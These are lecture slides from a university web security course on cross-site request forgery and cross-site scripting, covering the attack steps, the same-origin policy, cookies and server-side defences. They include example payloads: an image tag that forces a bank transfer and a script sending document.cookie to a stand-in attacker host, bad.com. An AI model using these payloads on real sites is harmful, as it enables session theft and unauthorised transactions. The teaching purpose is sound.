WEB SECURITY:
XSS & CSRF

CMSC 414
FEB 22 2018
Cross-Site Request Forgery (CSRF)
URLs with side-effects

http://bank.com/transfer.cgi?amt=9999&to=attacker

- GET requests should have no side-effects, but often do

- What happens if the user is logged in with an active session cookie and visits this link?

- How could you possibly get a user to visit this link?
Exploiting URLs with side-effects
Exploiting URLs with side-effects

Client

Browser

attacker.com

<img src="http://bank.com/transfer.cgi?amt=9999&to=attacker"
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.
Cross-Site Request Forgery

- **Target**: User who has some sort of account on a vulnerable server where requests from the user’s browser to the server have a *predictable structure*

- **Attack goal**: make requests to the server via the user’s browser that look to the server like the user intended to make them

- **Attacker tools**: ability to get the user to visit a web page under the attacker’s control

- **Key tricks**:
  - Requests to the web server have predictable structure
  - Use of something like `<img src=...>` to force the victim to send it
CSRF protections

- Client-side:
CSRF protections

• Client-side:

  Disallow one site to link to another??

  The loss of functionality would be too high
CSRF protections

• Client-side:

  Disallow one site to link to another??

  The loss of functionality would be too high

Let’s consider server-side protections
Secret validation tokens

• Include a secret validation token in the request

• Must be difficult for an attacker to predict

• Options:
  • Random session ID
    - Stored as cookie (“session independent nonce”)
    - Stored at server (“session-dependent nonce”)
  • The session cookie itself (“session identifier”)
    [Example URL]
  • HMAC of the cookie
    - As unique as session cookie, but learning the HMAC doesn’t reveal the cookie itself
Referrer URLs
Referrer URLs

Idea: Only allow certain actions if the referrer URL is from this site, as well
Referrer URLs

Idea: Only allow certain actions if the referrer URL is from this site, as well.

Problem: Often suppressed

Figure 2: Requests with a Missing or Incorrect Referer Header (283,945 observations). The “x” and “y” represent the domain names of the primary and secondary web servers, respectively.
Custom headers
Custom headers

Security through obscurity
Custom headers

Security through obscurity

Include precisely what is needed to identify the principal who referred
Custom headers

Security through obscurity

**Origin headers: More private Referrer headers**

Include precisely what is needed to identify the principal who referred
Custom headers

Security through obscurity

**Origin headers: More private Referrer headers**

Include precisely what is needed to identify the principal who referred

http://foo.com/embarrassing.html?data=oops
Custom headers

Security through obscurity

Origin headers: More private Referrer headers

Include precisely what is needed to identify the principal who referred

http://foo.com/embarrassing.html?data=oops
Custom headers

Security through obscurity

**Origin headers: More private Referrer headers**

Include precisely what is needed to identify the principal who referred

http://foo.com/embarrassing.html?data=oops

Send only for POST requests
How can you steal a session cookie?
How can you steal a session cookie?

- Compromise the user’s machine / browser
- Sniff the network
- DNS cache poisoning
  - Trick the user into thinking you are Facebook
  - The user will send you the cookie
How can you steal a session cookie?

- Compromise the user’s machine / browser
- Sniff the network
- DNS cache poisoning
  - Trick the user into thinking you are Facebook
  - The user will send you the cookie

Network-based attacks (more later)
Stealing users’ cookies

For now, we’ll assume this attack model:

• The user is visiting the site they expect
• All interactions are strictly through the browser
Dynamic web pages

• Rather than static HTML, web pages can be expressed as a program, e.g., written in Javascript:

```html
<html><body>
  Hello, <b>
  <script>
    var a = 1;
    var b = 2;
    document.write("world: ", a+b, "</b>");
  </script>
</body></html>
```
Javascript (no relation to Java)

• Powerful web page *programming language*

• Scripts are embedded in web pages returned by the web server

• Scripts are *executed by the browser*. They can:
  • Alter page contents (DOM objects)
  • Track events (mouse clicks, motion, keystrokes)
  • Issue web requests & read replies
  • Maintain persistent connections (AJAX)
  • *Read and set cookies*
What could go wrong?

• Browsers need to confine Javascript’s power

• A script on attacker.com should not be able to:
  • Alter the layout of a bank.com web page
  • Read keystrokes typed by the user while on a bank.com web page
  • Read cookies belonging to bank.com
Same Origin Policy

• Browsers provide isolation for javascript scripts via the **Same Origin Policy (SOP)**

• Browser associates **web page elements**…
  • Layout, cookies, events

• …with a given **origin**
  • The hostname (**bank.com**) that provided the elements in the first place

• **SOP = only scripts received from a web page’s origin have access to the page’s elements**
Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Client

Browser

(Private) Data

Semantics

• Store “en” under the key “edition”

• This value is no good as of Wed Feb 18…

• This value should only be readable by any domain ending in .zdnet.com

• This should be available to any resource within a subdirectory of /

• Send the cookie to any future requests to <domain>/<path>
Cookies

Set-Cookie: \textit{edition=us, expires=Wed, 18-Feb-2015 08:20:34 GMT, path=/, domain=.zdnet.com}

**Semantics**

- Store “en” under the key “edition”
- This value is no good as of Wed Feb 18…
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie to any future requests to \textit{<domain>/<path>}
Cross-site scripting (XSS)
XSS: Subverting the SOP

- Attacker provides a malicious script
- Tricks the user’s browser into believing that the script’s origin is bank.com
XSS: Subverting the SOP

• Attacker provides a malicious script

• Tricks the user’s browser into believing that the script’s origin is bank.com

• One general approach:
  • Trick the server of interest (bank.com) to actually send the attacker’s script to the user’s browser!
  • The browser will view the script as coming from the same origin... because it does!
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server
Stored XSS attack

bank.com

bad.com
Stored XSS attack

1. Inject malicious script
Stored XSS attack

1. Inject malicious script

bad.com → bank.com
Stored XSS attack

1. Inject malicious script

bad.com

bank.com
Stored XSS attack

1. Inject malicious script
2. Request content
Stored XSS attack

1. Inject malicious script

2. Request content

3. Receive malicious script

Client

Browser

bad.com

bank.com
Stored XSS attack

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute the malicious script *as though the server meant us to run it*
Stored XSS attack

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute the malicious script *as though the server meant us to run it*
5. Perform attacker action
Stored XSS attack

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute the malicious script as though the server meant us to run it
5. Perform attacker action

GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS attack

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Execute the malicious script as though the server meant us to run it
5. Perform attacker action

GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS attack

1. **Inject malicious script**
   - bad.com

2. **Request content**
   - Client

3. **Receive malicious script**
   - Client

4. **Execute the malicious script as though the server meant us to run it**
   - Client

5. **Perform attacker action**
   - bank.com


GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS Summary

• **Target:** User with *Javascript-enabled browser* who visits *user-generated content* page on a vulnerable web service

• **Attack goal:** run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

• **Attacker tools:** ability to leave content on the web server (e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information

• **Key trick:** Server fails to ensure that content uploaded to page does not contain embedded scripts
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server

2. Reflected XSS attack
   - Attacker gets you to send the bank.com server a URL that includes some Javascript code
   - bank.com echoes the script back to you in its response
   - Your browser, none the wiser, executes the script in the response within the same origin as bank.com
Reflected XSS attack

Client

Browser

bad.com
Reflected XSS attack

1. Visit web site

- Client
- Browser
- bad.com
Reflected XSS attack

Client

Browser

① Visit web site
② Receive malicious page

bad.com
Reflected XSS attack

1. Visit web site
2. Receive malicious page
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input

URL specially crafted by the attacker
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script as though the server meant us to run it

URL specially crafted by the attacker
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script as though the server meant us to run it
6. Perform attacker action

URL specially crafted by the attacker
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Click on link
5. Execute the malicious script as though the server meant us to run it
6. Steal valuable data
7. URL specially crafted by the attacker

Client

Bank.com

Bad.com
Echoed input

• The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response
The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response.

Input from bad.com:

Echoed input

- The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response.

Input from bad.com:

```
```

Result from victim.com:

```
<html>
<title>Search results</title>
<body>
Results for socks:
...
</body></html>
```
Exploiting echoed input
Exploiting echoed input

Input from bad.com:

<script> window.open("http://bad.com/steal?c=
+ document.cookie)
</script>
Exploiting echoed input

Input from bad.com:

<script> window.open(
  "http://bad.com/steal?c="
  + document.cookie)
</script>

Result from victim.com:

<html> <title> Search results </title> <body> Results for <script> ... </script> ... </body></html>
Exploiting echoed input

Input from bad.com:

<script> window.open(
    "http://bad.com/steal?c="
    + document.cookie)
</script>

Result from victim.com:

<html> <title> Search results </title> 
<body>
Results for <script> ... </script>
...
</body></html>

Browser would execute this within victim.com’s origin
Reflected XSS Summary

- **Target**: User with *Javascript-enabled browser* who visits a vulnerable web service that includes parts of URLs it receives in the web page output it generates.

- **Attack goal**: Run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy).

- **Attacker tools**: Ability to get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information.

- **Key trick**: Server fails to ensure that the output it generates does not contain embedded scripts other than its own.
XSS Protection

• Open Web Application Security Project (OWASP):
  • **Whitelist**: Validate all headers, cookies, query strings… everything… against a rigorous spec of what *should be allowed*
  
  • **Don’t blacklist**: Do not attempt to filter/sanitize.
  
  • Principle of fail-safe defaults.
Mitigating cookie security threats

- Cookies must not be easy to guess
  - Randomly chosen
  - Sufficiently long

- **Time out** session IDs and **delete** them once the session ends
Twitter vulnerability

- Uses one cookie (auth_token) to validate user

- The cookie is a function of
  - User name
  - Password

- auth_token weaknesses
  - Does not change from one login to the next
  - Does not become invalid when the user logs out

- Steal this cookie once, and you can log in as the user any time you want (until password change)
XSS vs. CSRF

• Do not confuse the two:

• XSS attacks exploit the trust a client browser has in data sent from the legitimate website
  • So the attacker tries to control what the website sends to the client browser

• CSRF attacks exploit the trust the legitimate website has in data sent from the client browser
  • So the attacker tries to control what the client browser sends to the website